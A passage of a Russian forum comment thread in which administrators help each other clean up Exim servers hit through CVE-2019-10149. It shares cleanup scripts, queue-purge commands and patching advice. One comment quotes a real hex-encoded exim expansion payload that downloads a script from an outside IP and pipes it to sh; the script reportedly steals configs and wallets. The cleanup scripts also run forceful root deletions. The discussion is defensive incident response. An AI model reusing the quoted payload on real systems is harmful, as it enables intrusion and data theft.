	sudo rm -f /etc/rc.d/init.d/kthrotlds
	sudo rm -rf /tmp/.sysbabyuuuuu12
	sudo rm -rf /tmp/logo9.jpg
	sudo rm -rf /tmp/miner.sh
	sudo rm -rf /tmp/nullcrew
	sudo rm -rf /tmp/proc
	sudo rm -rf /tmp/2.sh
	sudo rm -rf /tmp/.XIMunix
	sudo rm -f /var/tmp/dog2.61
	sudo rm -f /var/tmp/prot
	sudo rm -f /tmp/prot
	sudo rm -f /usr/sbin/kerberods
	sudo rm -f /usr/sbin/kthrotlds
	sudo rm -f /usr/sbin/kintegrityds
	sudo rm -f /usr/sbin/kpsmouseds
	sudo rm /opt/atlassian/confluence/bin/1.sh
	sudo rm /opt/atlassian/confluence/bin/1.sh.1
	sudo rm /opt/atlassian/confluence/bin/1.sh.2
	sudo rm /opt/atlassian/confluence/bin/1.sh.3
	sudo rm /opt/atlassian/confluence/bin/3.sh
	sudo rm /opt/atlassian/confluence/bin/3.sh.1
	sudo rm /opt/atlassian/confluence/bin/3.sh.2
	sudo rm /opt/atlassian/confluence/bin/3.sh.3
	sudo rm -rf /var/tmp/f41
	sudo rm -rf /var/tmp/2.sh
	sudo rm -rf /var/tmp/config.json
	sudo rm -rf /var/tmp/xmrig
	sudo rm -rf /var/tmp/1.so
	sudo rm -rf /var/tmp/kworkerds3
	sudo rm -rf /var/tmp/kworkerdssx
	sudo rm -rf /var/tmp/kworkerds
	sudo rm -rf /var/tmp/wc.conf
	sudo rm -rf /var/tmp/nadezhda.
	sudo rm -rf /var/tmp/nadezhda.arm
	sudo rm -rf /var/tmp/nadezhda.arm.1
	sudo rm -rf /var/tmp/nadezhda.arm.2
	sudo rm -rf /var/tmp/nadezhda.x86_64
	sudo rm -rf /var/tmp/nadezhda.x86_64.1
	sudo rm -rf /var/tmp/nadezhda.x86_64.2
	sudo rm -rf /var/tmp/sustse3
	sudo rm -rf /var/tmp/sustse
	sudo rm -rf /var/tmp/moneroocean/
	sudo rm -rf /var/tmp/config.json
	sudo rm -rf /var/tmp/devtool
	sudo rm -rf /var/tmp/devtools
	sudo rm -rf /var/tmp/play.sh
	sudo rm -rf /var/tmp/systemctI
	sudo rm -rf /var/tmp/update.sh
	sudo rm -rf /var/tmp/.java
	sudo rm -rf /var/tmp/1.sh
	sudo rm -rf /var/tmp/conf.n
	sudo rm -R -f  /tmp/khugepageds
	sudo rm -rf /tmp/khugepageds
	sudo rm -r /var/tmp/lib
	sudo rm -r /var/tmp/.lib
	touch /tmp/lok
	mkdir -p /tmp/khugepageds
	sudo rm -rf /var/tmp/yum-confluence-*
	
	chattr -i /root/.ssh/authorized_keys
	sudo rm -f /root/.ssh/authorized_keys
	cp /root/.ssh/1/authorized_keys /root/.ssh/authorized_keys
	
	sleep 1;
done;
	


в конце скрипта строку
cp /root/.ssh/1/authorized_keys /root/.ssh/authorized_keys
заменить на свою. "/root/.ssh/1/authorized_keys" — файл с вашими ключами.

Пока висит в фоне, все норм, но как только перегружаю сервер или останавливаю kill.sh, заражение идет по новой.

kill.sh 2> /dev/null > /dev/null &


Нашел инфу, что SSH соединения идут из Бутана, забанил IP Бутана.

P.S. На гитхабе есть LSD Malware Clean Tool, который должен лечить эту заразу, но он не работает.
#!/usr/bin/env sh

# 清除定时任务
(service crond stop || systemctl restart crond || /etc/init.d/cron stop)|sh
busybox rm -f /etc/cron.d/root
busybox rm -f /var/spool/cron/root
busybox rm -f /var/spool/cron/crontabs/root

# 清除恶意Hook库
busybox rm -f /etc/ld.so.preload
busybox rm -f /usr/local/lib/libcset.so
chattr -i /etc/ld.so.preload
busybox rm -f /etc/ld.so.preload
busybox rm -f /usr/local/lib/libcset.so

# 清理异常进程
busybox ps -ef | busybox grep -v grep | busybox egrep 'ksoftirqds' | busybox awk '{print $1}' | busybox xargs kill -9
busybox ps -ef | busybox grep -v grep | busybox egrep 'kthrotlds' | busybox awk '{print $1}' | busybox xargs kill -9
busybox rm -f /tmp/kthrotlds
busybox rm -f /usr/sbin/kthrotlds

# 清理开机启动项
chkconfig netdns off
chkconfig –del netdns
systemctl disable netdns
busybox rm -f /etc/rc.d/init.d/kthrotlds
busybox rm -f /etc/init.d/netdns

# 重新共享动态链接库
ldconfig

# 再次清理异常进程
busybox ps -ef | busybox grep -v grep | busybox egrep 'ksoftirqds' | busybox awk '{print $1}' | busybox xargs kill -9
busybox ps -ef | busybox grep -v grep | busybox egrep 'kthrotlds' | busybox awk '{print $1}' | busybox xargs kill -9

service crond start
echo «Done, Please reboot!»
Круто, спасибо Вам! Добавил в пост и побегу тоже тестировать

UPD1: А у Вас crontab троян не убил? у меня сразу его порезало, поэтому crontab -l… -r не имеет смысла, увы… В кронтабе только троян

UPD2: После перезагрузки заново заражение — при обновлённом exim?.. ух. Копаем дальше, интересно, получится ли стабильно вылечить.
в кроне убил первым делом.
Exim version 4.92 #3 built 05-Jun-2019 09:22:22
Спасибо! Про крон я имею в виду что троян при установке стёр все мои записи в кроне и заменил их одной своей строкой, которую постоянно восстанавливает.

Скажите пожалуйста, Ваш crontab -l сейчас выдаёт нормальные записи Ваши, или..?
По совету clsv (он писал в личке, т.к. read-only) попробуйте, пожалуйста, добавить в скрипт очистку очереди exim!
Полагаю, как-то так:
exipick -i | xargs exim -Mrm

(в пост добавил)
Да! В очереди был вирус!
exipick -i | xargs exim -Mrm
помогло. После ребута повторного заражения нет.
Спасибо конечно, но можно под спойлер спрятать эту 10-экранную простыню?
Уже нельзя… Очень редко пишу комменты тут и думал, код автоматом подкат прячется, а пока пытался отредактировать уже появились ответы и кнопка редактирования пропала.
Бестолку. Сервер все равно уже скомпрометирован. У вас не может быть 100% уверенности что вы вычистили всю заразу. Некоторые руткиты прячутся очень и очень хорошо. Надо ставить все с нуля.

Можете очень осторожно взять конфиги со старого сервера. И то, надо будет их все внимательно перечитать, потому что некоторые программы позволяют выполнять произвольные команды через конфиги.
IMHO Если машина скомпрометирована то ее не «лечат», а переустанавливают с нуля.
В целом так наверно большинство и сделает (в идеале — делают параллельно), но не во всех случаях это легко и быстро, так что если получится найти лекарство — это здорово. А так — да, согласен с Вами, для надежности лучше конечно с чистого листа.
Интересно, снова спасибо за информацию! Добавил в пост, давайте тестировать…

UPD 1: При запущенном скрипте от paulmann, временно сбивающем симптомы, FirstVDS'овский скрипт написал «No virus spotted» :) Попробуем-с выключить тот скрипт и дождаться появления симптомов.

UPD 2: После отключения вирус «нашелся», ушло всё на ребут. Посмотрим, как оно потом.

UPD 3: После ребута пока вроде полет нормальный! Будем надеяться… В общем, пробуйте их скрипт, дамы и господа!
Глянул. Он делает тоже что и мой, но не удаляет письма из exim. Если будете пользоваться, добавьте в код скрипта «exipick -i | xargs exim -Mrm» перед
echo "fixed"
reboot
У них вроде после killall -9 curl (4 раза повторенной) это идёт.
Возможно, ребята читали хабр и использовали наработки. :)
Проверим-с, что вышло.

Причём видно что спешили, опечатки в тексте комментов — ну главное чтобы скрипт работал! Тестирую
Спасибо, добавил в версию в гите, сейчас обновлю на сайте.
Кирилл, большое Вам спасибо за скрипт, вроде наконец помогло! :)
Добавлю в пост…
Я в первую очередь удалил wget и после этого удалил процес krhrotlds, это не вылечило машину, но она хоть заработала! тоже очень жду патчей или еще чего!!! LSD Malware Clean Tool не работает тоже это подтверждаю!
Большое спасибо!!! сработало!
для Ubuntu 16.04 получается обновления нет?
У меня кстати на 16.04 exim вообще без проблем обновился до 4.92, всего двумя командами. Только наверное это и не надо было делать.
А что на счёт 14.04? На оф. сайте напротив неё стоит «DNE». Я так понимаю Does Not Exist. Очень надеюсь, что эта фраза про уязвимость, а не про патч.
В вики убунты написано: The package state should be «DNE» for packages that are not supported as part of the ESM release.

Т.е. я так понимаю не поддерживается патчем. Собственно, в данном случае не только из-за EOL продукта, но и т.к. по умолчанию там не было уязвимой версии exim.

При этом всё-таки важно понимать что и 14.04 и 16.04 не содержат уязвимости в стандартной ситуации — т.е. если Вы руками туда не запихивали уязвимую версию.

Просто проверьте пожалуйста версию Exim, если младше 4.87 то проблемного кода там не было ещё, фиксить нечего — для данной конкретной уязвимости.
Postfix архитектурно, имхо, лучше, на него эксплойты должны быть реже. Exim нужен когда требуется быстрый MTA.

Это в каком месте он "быстрый"?

регулярки всякие удобные, конфиг удобный чтобы быстро «поднять» MTA

Конфиг там — форменная помойка с тюринг полным языком на экспаншенах. Собственно, код Exim примерно такой же — чего стоит волшебный https://github.com/Exim/exim/blob/master/src/src/globals.h который содержит примерно все, что используется Exim'ом в виде глобальных переменных.

UFO just landed and posted this here
А почему риторический, очень здравый вопрос. В постах по теме видел что команда Exim работала с командами дистрибутивов на предмет внедрения патчей.

Так почему бы грубо говоря командам пары-тройки крупнейших МТА (у одного Exim больше половины рынка же?) и пары-тройки крупнейших дистрибутивов тупо не устроить круглый стол (пригласив отдельно спецов по безопасности) и не проработать специальный механизм для этого? Чтобы без рута обходиться.

На вопрос «а почему именно для МТА, есть вещи поважнее почтовиков» думаю ответить просто — если в год проводить пару-тройку таких круглых столов (с разными сервисами) и принятых по итогам мер, и через пару-тройку лет большинство сервисов могли бы получить более безопасные сценарии выполнения (конечно при грамотной реализации, если сделанные дыры будут меньше чем закрытые).

Вроде бы проблема с сокетами без root уже решаема через sysyemd-активацию. Вот со второй уже сложнее, но и тут можно попробовать решить её через разрешение доступа к нужным файлам с помощью ACL (последний, имхо, крайне недооценён вообще).

Для второго куча решений. Posix acl. А еще в 2019году уже почти никто не держит данные(алиасы, форварды, автореспонсы и др.) в файлах, все в БД.
И если какой-то извращенный мазохист запускает Exim от рута, то он сам себе маньяк. Даже в старых гайдах о сборке exim из исходников, говорится о mail:mailnull.
Да, Вы правы, хорошо бы и более гибкую-удобную сторону двигаться (в БД), и от рута стараться не запускать лишнего)
К сожалению, конкретно в этом случае запуск не от рута, увы, видимо не помогает. Так что всё равно обновляться надо.
exim на centos7.
команда rpm -qa | grep exim показывает exim-4.84.2
команда yum --enablerepo=epel-testing install exim выдаёт:
Loaded plugins: fastestmirror
Loading mirror speeds from cached hostfile
* base: mirror.sale-dedic.com
* epel: ru.download.ispsystem.com
* epel-testing: mirror.logol.ru
* extras: mirror.reconn.ru
* ispsystem-5.129: download.ispsystem.com
* ispsystem-base: ru.download.ispsystem.com
* updates: mirror.sale-dedic.com
Resolving Dependencies
--> Running transaction check
---> Package exim.x86_64 0:4.84.2-2.el7 will be updated
---> Package exim.x86_64 0:4.92-1.el7 will be an update
--> Processing Dependency: libcrypto.so.10(OPENSSL_1.0.2)(64bit) for package: exim-4.92-1.el7.x86_64
--> Running transaction check
---> Package openssl-libs.x86_64 1:1.0.1e-51.el7_2.7 will be updated
--> Processing Dependency: openssl-libs(x86-64) = 1:1.0.1e-51.el7_2.7 for package: 1:openssl-1.0.1e-51.el7_2.7.x86_64
---> Package openssl-libs.x86_64 1:1.0.2k-16.el7_6.1 will be an update
--> Running transaction check
---> Package openssl.x86_64 1:1.0.1e-51.el7_2.7 will be updated
---> Package openssl.x86_64 1:1.0.2k-16.el7_6.1 will be an update
--> Finished Dependency Resolution

Dependencies Resolved

================================================================================
Package Arch Version Repository Size
================================================================================
Updating:
exim x86_64 4.92-1.el7 epel 1.4 M
Updating for dependencies:
openssl x86_64 1:1.0.2k-16.el7_6.1 updates 493 k
openssl-libs x86_64 1:1.0.2k-16.el7_6.1 updates 1.2 M

Transaction Summary
================================================================================
Upgrade 1 Package (+2 Dependent packages)

Total download size: 3.1 M
Is this ok [y/d/N]: Exiting on user command

Перезагружаю сервер. rpm -qa | grep exim показывает снова exim-4.84.2
Что не так делаю?
* epel-testing: mirror.logol.ru — проверил, у меня оттуда ок поставилось
* Updating: exim x86_64 4.92-1.el7 epel 1.4 M — тут тоже хочет поставить что надо
Is this ok [y/d/N]: Exiting on user command — а вот в этом месте Вы «y» жали? Т.е. сама установка-то шла? Если идёт и где-то обрывается, киньте пожалуйста лог уже оттуда, т.к. до момента ответа на вопрос [y/d/N] всё в логе ок!
Читая такие новости задаюсь вопросом — как давно такие уязвимости существуют и как давно о них кто-то знал, но не рассказывал и сколько других таких еще в руках злоумышленников и можно ли вообще ближе к 100% иметь безопасность на своем сервере? Похоже что любой сервер имеет уязвимости, просто о них никто не знает пока.
Релиз конкретно без этой уязвимости вышел ещё в феврале, но все говорят что мол не знали, что там вообще уязвимость-то была. И только пару недель как поняли это.

Любопытная история, самое любопытное в Ваших словах — «никто не знает пока». Никто ли не знал?) Тут до паранойи недалеко, но за последние годы много информации вышло о покупателях таких уязвимостей, оставляющих их в секрете для публики. С благими намерениями, конечно.:)
Я на FreeBSDшном сервере сейчас Exim не использую, не могу проверить, но на оф.сайте упоминание уязвимости есть. Однако там это они в целом инфу от Exim взяли, так что конкретно о поражении FreeBSD не говорится, но скорее всего проблема примерно та же будет.

Впрочем, зачем заморачиваться? В портах 4.92 давно уже, там этой проблемы нет.
Это касается всех, у кого мозгов хватило запустить exim от рута.
Это касается всех, не зависимо от того, под каким пользователем запущен exim.

Нет, в портах и в свежем quaterly Exim 4.92. Остальные quaterly я не обновлял, но, по идее, pkg audit вам расскажет, где вы не правы.

в пакетах exim идет с включенной опцией EXPERIMENTAL_EVENT, причем в 4.92 тоже.

… а вернее dovecot + postfix. Так что postfix вместо exim.

:) а я уж сел комментарий писать, хотел узнать про ноу-хау по замене exim'а dovecot'ом…
Если exim не используете, то тема наверно не очень актуальна-то. Хотя вместо триллера посмотреть — вариант!
Интересно, версия exim-4.84-4.el7.x86_64 подвержена данной уязвимости? Везде пишут, что уязвимость появилась в версиях, начиная с 4.87…

На Centos 7 с ISPmanager не обновляется. "yum update exim" пишет:
Loaded plugins: fastestmirror
Loading mirror speeds from cached hostfile
* base: mirror.corbina.net
* extras: mirror.reconn.ru
* ispsystem-5.203: ru.download.ispsystem.com
* updates: mirror.reconn.ru
No packages marked for update

Кто подскажет, каким образом exim можно обновить до последней версии?
Посмотрел. Ответ такой:
exim.x86_64 4.84-4.el7 @epel
ispmanager-pkg-exim.x86_64 5.203.0-1.el7.centos @ispsystem-5.203
ispmanager-pkg-opendkim-exim.x86_64 5.203.0-1.el7.centos @ispsystem-5.203
ispmanager-pkg-clamav-exim.x86_64 5.203.0-1.el7.centos ispsystem-5.203
ispmanager-pkg-greylisting-exim.x86_64 5.203.0-1.el7.centos ispsystem-5.203
ispmanager-pkg-spamassassin-exim.x86_64 5.203.0-1.el7.centos ispsystem-5.203


Что касается первой части вопроса, 4.84 данной :) уязвимости не подвержена, по официальной информации.

Я так понял, есть другие уязвимости для данной версии? Пока нагуглить не удалось информации на этот счёт…
exim.x86_64 4.84-4.el7 @epel — т.е. установлен из epel, при этом yum update exim Вам epel не упомянул… Может Вы отключали репозиторий случайно?..
Попробуйте пожалуйста
yum install epel-release
Что выдаст?
Если ок то потом снова
yum update exim
UFO just landed and posted this here
О да. Но самое «интересное» ещё впереди. Когда люди будут говорить «ну, для моей модели автомобиля вирусов нет»…
Ещё «у меня тут такая кастомщина, что человек мозг сломает, а вы про какой-то глупый вирус»
Вот кстати да. Security through obscurity своего рода — увы, достаточно в кастомщинке пару не кастомных дырявых строк кода…
(не говоря уже о том что «секретный» самопис по идее с большей вероятностью может содержать глупые дырки чем код, который смотрели другие люди, в частности публично)
Обнаружил у себя другую разновидность зловреда. В очереди exim сидело вот такое:
46h 750 1hZzGN-0006uF-Th <> *** frozen ***
${run{\x2Fbin\x2Fsh\t-c\t\x22wget\t\x68\x74\x74\x70\x3a\x2f\x2f\x31\x37\x33\x2e\x32\x31\x32\x2e\x32\x31\x34\x2e\x31\x33\x37\x2f\x73\t-O\t-\t\x7C\tsh\x22}}@localhost


Скачивает и выполняет скрипт с http://173.212.214.137/s
Судя по коду, собирает различные данные с системы, пакует в архив и отправляет куда-то.

bobrabobr Мне кажется стоит добавить в пост инфу для тех, кто собирается лечиться. Не стоит сразу выполнять лечебные скрипты, особенно если они чистят очередь. Лучше сначала проверить что в очереди находится и уже исходя из этого принимать решение о лечении. Зловредов может быть великое множество. Запустив лекарство не от того и почистив очередь пользователь и не вылечится и возможно не узнает от чего ему лечиться нужно.
Я тут выше уже писал — лечиться бесполезно. Этот эксплойт уже используется всеми. В open source можно найти вот такое: github.com/nurupo/rootkit или вот такое: github.com/f0rb1dd3n/Reptile. И вы с ним не сможете бороться изнутри зараженной системы. Вы просто ничего не увидите. Что уж говорить про руткиты, которые распространяются в более специализированных местах.

Все что можно сделать сейчас — это очень-очень осторожно перенести конфиги и базы с потенциально зараженной машины на здоровую.
Спасибо, добавил Ваш совет в пост, чтобы люди поменьше на авось полагались.
Спасибо, добавил в пост. А какого плана данные собирает, удалось понять?
Всякие конфиги из хомяка, крипто-кошельки, кое-какие данные из /etc, инфу о системе. Там по ссылке из предыдущего моего коммента — bash скрипт, прямым текстом, без обфускации, так что кому интересно — смотрите :)
Фактически от
# ok, real work starts here
и почти до конца скрипта — сбор данных.

Я полностью согласен с теми, кто говорит что говорит, что лечиться бесполезно. Собственно мой коммент скорее о том, что не стоит чистить очередь. Лучше в неё заглянуть, по возможности выяснить какую гадость подцепили, и исходя из этого оценивать масштабы ущерба.
Может кто подскажет-поможет, ситуация следующая:
есть FreeBSD 9.3, установлен через pkg exim. Соотв. через pkg сейчас уже ничего не обновить.
Что можно сделать в данном случае? Разработчики exim предоставили патч, но увы, ни у меня, ни у коллег нет опыта с FreeBSD дальше поддержки уже существующего. И наложением патчей тоже. Как этот патч можно применить к уже установленному не из source exim?

Обновить систему, перенести оперативно почтовый сервер на новый инстанс возможности попросту на данный момент нет.

P.S. пока не заражены, но опасаемся.

Собрать exim из портов и установить.

Кстати, всем, кто использует Exim, я не перестаю советовать прекратить вредную практику программирования на конфигурационных файлах и попробовать какой-нибудь нормальный MTA (например, Postfix) и Rspamd. Программировать на Lua гораздо проще, чем на exim.conf.

Совет хороший, но трудновыполнимый в рабочих условиях. Простой такого сервиса, как электронная почта для нас критичен. Увы, мы не Google, чтобы позволить себе «все сломать на недельку».

Но в планах это есть, как это провернуть я еще, к сожалению, не продумал.

Поставить рядом новый сервер, на нем потихоньку разворачивать новую систему, потом включить его как backup mx, а потом перенести приоритет и использовать как основной.

Новый рядом уже есть, про backup mx спасибо, будем изучать.
Как можно администрировать почтовую систему не зная таких основ как backup mx?
Ровно также, как и все остальные вещи, которые попадают в зону ответственности «администратора», с которыми он до этого не имел опыта в виду жизненных обстоятельств.

Всему и сразу научиться невозможно в принципе, поэтому разбираюсь и учусь постоянно, по мере необходимости.
«Администратор», что бы ему там ни досталось «в виду жизненных обстоятельств» должен где-то на первом-втором году практики познакомиться с DNS достаточно подробно, чтобы узнать о почти всех типах записей, среди которых и MX, у которой есть обязательное поле приоритета. А вот тут должен сработать тот особый склад ума, без которого в IT делать нечего, и оставить в ментальном списке ToDo запись «выяснить, для чего приоритет записи MX». Без этого склада ума учиться придётся на своих ошибках и велосипеды изобретать с костылями в тех местах, где другие если и не знают, что делать, то, хотя бы, «куда копать»
Если роль MDA на другом сервере то да, так без проблем можно добавить новый сервер в режиме backup mx. А если обе роли MTA и MDA на одном сервере? вы добавляете MX запись с более низким приоритетом для нового сервера, письма при недоступности основного начинают отправляться на него, но до клиентов они не доходят…
Если я правильно понял, для 9.3 это уже невозможно. Буду признателен, если кто-нибудь проведет ликбез по этой теме.

Мда, мне сложно сказать, наверное. А у вас есть вообще /usr/ports? Если есть, то можно взять mail/exim из свежих портов и подложить его вместо того, что есть в ваших. По идее, я в этом порте не использовал никаких особо свежих фич. Если каталога /usr/ports нету, тогда ой — придется собирать из исходников.

Ну так склонируйте с того же гитхаба: https://github.com/freebsd/freebsd-ports
Наверное, даже заменять ничего не надо будет — просто зайдите в склонированную директорию и далее в mail/exim и попробуйте запустить make.

Будем пробовать, спасибо большое за помощь.
Ну как и ожидалось, при попытке установки из свежих портов на не поддерживаемой системе make выдал ошибку «Unknown directive».

Я уже шерстил интернет по этому поводу, теперь вспомнил о чем это.
Увы, но в 9.3 уже не светит из портов ничего, только upgrade.
Из сырцов похоже тоже не выйдет, зависимости тоже в портах…
Скажите пожалуйста, а какая у Вас версия Exim там сейчас стоит?
так как предлагают выше, заменой файлов портов делать ни в коем случае нельзя! Если 9.3 в стандартной установке, то можно через freebsd-update обновить ее до текущего релиза. Сначала до 10.3, потом вплоть до 12.
В безысходной ситуации ( если нет возможности поставить рядом новый сервер и на него всё скопировать), я бы сделал так: Обновить FreeBSD до 11.2. Можно сделать это напрямую с 9.3 если подсунуть бинарник freebsd-update из свежих релизов, никаких гарантий что всё будет гладко, но я так делал. Не делать последний freebsd-update install (который удаляет старые файлы, то есть в системе сможет работать старый софт), поставить ail, в нём всё поднять, файлы с почтой подмонтировать в новый jail через mount_nullfs.
Для владельцев старых систем Debian возможно будет полезно. Исходя из того, что уязвимость числится как CVE-2019-10149 — для Debian разных версий она закрыта или не существует в разных версиях пакетов. Например, для jessie — в 4.84.2-2+deb8u5 уязвимости нет. Соответствие пакета с исправлением (или не подверженного уязвимости) и версии системы можно найти тут security-tracker.debian.org/tracker/CVE-2019-10149
UFO just landed and posted this here
Лечение должно быть лишь временная мера (точнее, пока не подняли новый сервер).

При переносе данных обратите внимание не только на исполняемые или конфигурационные файлы, но и всё что может содержать вредоносные команды (например, в MySQL это может быть CREATE TRIGGER или CREATE EVENT). Также, не забывайте о .html, .js, .php, .py и других публичных файлах (в идеале эти файлы, как и другие данные, должны быть восстановлены из локального или другого доверенного хранилища).

Если на сервере имеются секретные ключи или балуетесь «безопасностью через неясности» — считайте, что всё скомпрометировано. Поэтому, необходимо сбросить/сгенерировать новые ключи и залатать «плохие решения». Возможно, стоит проверить исходящий трафик, дабы выявить аномалии и понять: утекло всё или только часть данных?

И ещё, вместо «сладких снов» — не забывайте, что отсутствие зловреда или других следов взлома, не означает, что Ваш сервер не был взломан. У плохих парней было достаточно времени, чтобы подготовить более изящный способ использования этой уязвимости и скрыть факт взлома, a не просто вешать табличку с надписью «Эй! Твой сервер был взломан. Нажми delete, чтобы удалить вирус».
Очень правильно пишете.

Я даже более того скажу — тот факт что кто-то сейчас взламывает серваки обсуждаемым в данной теме способом и оставляет конкретный явно детектируемый троян, вовсе не означает что другие люди уже, ранее, не использовали ту же дыру и не насажали своих скрытых троянов. :)

Ведь 4.92 выпущена была ещё зимой, а о дыре в более старых версиях заговорили в мае. Но вполне возможно что все эти месяцы кто-то не говорил, а просто пользовался)

А про восстановление файлов по возможности не со скомпрометированного сервера, а из локального хранилища (которое, будем надеяться, не скомпрометировано?...) — Вы верно подметили, тоже добавлю в пост. Спасибо.
Теоретически, об уязвимости могли знать начиная с 6 апреля 2016 (а возможно, даже чуточку раньше). Так что, всё намного интереснее :)
Здравствуйте. Подскажите пожалуйста, если у меня версия 4.89-2+deb9u4 то уязвимость закрыта? Мне в isplicense говорят все равно надо обновляться немедленно до 4.92 путем команды apt-get update && apt-get upgrade (в репах ничего новее нет, соответственно ничего не обновляется).

mirror.yandex.ru/debian stretch InRelease
mirror.yandex.ru/debian stretch Release
security.debian.org/debian-security stretch/updates InRelease
Ну вообще на оф.сайте Дебиана эта версия указана как содержащая фикс.
stretch (security) 4.89-2+deb9u4 fixed
и
Fixed Version = 4.89-2+deb9u4
Уточните, пожалуйста, у тех кто даёт отличной от официальной информацию: на чём основано их утверждение? они что-то знают, чего официалы не знают? пусть тогда срочно команде дебиана расскажут в первую очередь :)
Sign up to leave a comment.

Articles